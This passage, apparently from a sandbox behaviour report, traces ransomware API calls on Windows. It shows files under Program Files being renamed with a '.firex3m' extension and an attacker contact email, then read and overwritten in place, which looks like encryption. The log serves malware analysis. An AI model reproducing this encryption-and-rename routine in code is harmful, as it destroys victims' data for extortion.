Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0235.524] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.524] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.524] GetProcessHeap () returned 0x630000 [0235.524] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.524] GetProcessHeap () returned 0x630000 [0235.524] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.524] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.524] ReadFile (in: hFile=0x4bc, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x687ff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.527] GetProcessHeap () returned 0x630000 [0235.527] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0235.527] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.527] WriteFile (in: hFile=0x4bc, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x687ff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.527] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.527] WriteFile (in: hFile=0x4bc, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.527] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.527] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.527] CloseHandle (hObject=0x4bc) returned 1 [0235.527] GetProcessHeap () returned 0x630000 [0235.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.527] GetProcessHeap () returned 0x630000 [0235.527] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.528] GetProcessHeap () returned 0x630000 [0235.528] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0235.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52545fc7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x687fd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5540 [0235.528] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0235.528] Sleep (dwMilliseconds=0x1) [0237.638] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppSharingHookController.exe", len=0x71 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppSharingHookController.exe") returned 1 [0237.639] GetProcessHeap () returned 0x630000 [0237.639] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ee0) returned 0x6fe3bb0 [0237.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppSharingHookController.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\appsharinghookcontroller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0237.640] CloseHandle (hObject=0x6a0) returned 1 [0237.640] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0237.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppSharingHookController.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\appsharinghookcontroller.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppSharingHookController.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\appsharinghookcontroller.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0237.641] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppSharingHookController.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a48, dwReserved0=0x310033, dwReserved1=0x5f0032, cFileName="AppSharingHookController.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPSHA~1.FIR")) returned 0x6d4e40 [0237.642] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0237.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppSharingHookController.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\appsharinghookcontroller.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0237.642] GetProcessHeap () returned 0x630000 [0237.642] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a61) returned 0x706cf78 [0237.643] GetProcessHeap () returned 0x630000 [0237.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a61) returned 0x6ee88b8 [0237.643] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.643] ReadFile (in: hFile=0x6a0, lpBuffer=0x706cf78, nNumberOfBytesToRead=0x8a40, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesRead=0x687ff0c*=0x8a40, lpOverlapped=0x0) returned 1 [0242.936] GetProcessHeap () returned 0x630000 [0242.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b4c8 [0242.936] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.936] WriteFile (in: hFile=0x6a0, lpBuffer=0x6ee88b8*, nNumberOfBytesToWrite=0x8a40, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesWritten=0x687ff0c*=0x8a40, lpOverlapped=0x0) returned 1 [0242.936] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.936] WriteFile (in: hFile=0x6a0, lpBuffer=0x6ef12f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef12f7*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.937] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.937] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.937] CloseHandle (hObject=0x6a0) returned 1 [0242.937] GetProcessHeap () returned 0x630000 [0242.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0242.937] GetProcessHeap () returned 0x630000 [0242.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0242.937] GetProcessHeap () returned 0x630000 [0242.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b4c8 | out: hHeap=0x630000) returned 1 [0242.994] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0242.994] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\AppSharingHookController.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x56bee52a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8a6c, dwReserved0=0x9a87496, dwReserved1=0x706cf70, cFileName="AppSharingHookController.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPSHA~1.FIR")) returned 0x6d4e40 [0242.994] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0242.994] Sleep (dwMilliseconds=0x1) [0243.006] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_SplashScreen.scale-100.png", len=0x8f | out: pbstr=0x687ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_SplashScreen.scale-100.png") returned 1 [0243.006] GetProcessHeap () returned 0x630000 [0243.006] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5418) returned 0x6fe3bb0 [0243.006] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Money_SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\money_splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.015] Sleep (dwMilliseconds=0x1) [0244.150] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll", len=0x80 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll") returned 1 [0244.150] GetProcessHeap () returned 0x630000 [0244.150] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e98) returned 0x6fe3bb0 [0244.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0244.152] CloseHandle (hObject=0x6c8) returned 1 [0244.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0244.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0244.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb59528e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3728, dwReserved0=0x72002e, dwReserved1=0x6c006c, cFileName="msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOLUI~1.FIR")) returned 0x6d5040 [0244.154] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0244.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0244.154] GetProcessHeap () returned 0x630000 [0244.154] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3741) returned 0x72732c0 [0244.154] GetProcessHeap () returned 0x630000 [0244.154] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3741) returned 0x72571e8 [0244.155] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.155] ReadFile (in: hFile=0x6c8, lpBuffer=0x72732c0, nNumberOfBytesToRead=0x3720, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72732c0*, lpNumberOfBytesRead=0x687ff0c*=0x3720, lpOverlapped=0x0) returned 1 [0245.771] GetProcessHeap () returned 0x630000 [0245.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745aaf0 [0245.771] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.771] WriteFile (in: hFile=0x6c8, lpBuffer=0x72571e8*, nNumberOfBytesToWrite=0x3720, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72571e8*, lpNumberOfBytesWritten=0x687ff0c*=0x3720, lpOverlapped=0x0) returned 1 [0245.771] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.771] WriteFile (in: hFile=0x6c8, lpBuffer=0x725a907*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725a907*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0245.771] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.771] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0245.771] CloseHandle (hObject=0x6c8) returned 1 [0245.772] GetProcessHeap () returned 0x630000 [0245.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72571e8 | out: hHeap=0x630000) returned 1 [0245.772] GetProcessHeap () returned 0x630000 [0245.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72732c0 | out: hHeap=0x630000) returned 1 [0245.772] GetProcessHeap () returned 0x630000 [0245.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745aaf0 | out: hHeap=0x630000) returned 1 [0245.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0245.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x58700cf1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x9a87496, dwReserved1=0x72732b8, cFileName="msolui110.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOLUI~1.FIR")) returned 0x6d53c0 [0245.772] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0245.772] Sleep (dwMilliseconds=0x1) [0249.020] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", len=0x6c | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS") returned 1 [0249.021] GetProcessHeap () returned 0x630000 [0249.021] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e10) returned 0x6fe3bb0 [0249.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0249.021] CloseHandle (hObject=0x6d4) returned 1 [0249.021] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enfr\\msb1enfr.its"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enfr\\msb1enfr.its.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.022] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="MSB1ENFR.ITS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1EN~1.FIR")) returned 0x6d4ec0 [0249.023] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0249.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enfr\\msb1enfr.its.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0249.023] GetProcessHeap () returned 0x630000 [0249.023] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f87c30 [0249.024] GetProcessHeap () returned 0x630000 [0249.024] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74dc4b0 [0249.024] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.024] ReadFile (in: hFile=0x6d4, lpBuffer=0x6f87c30, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f87c30*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.833] GetProcessHeap () returned 0x630000 [0253.833] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0253.833] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 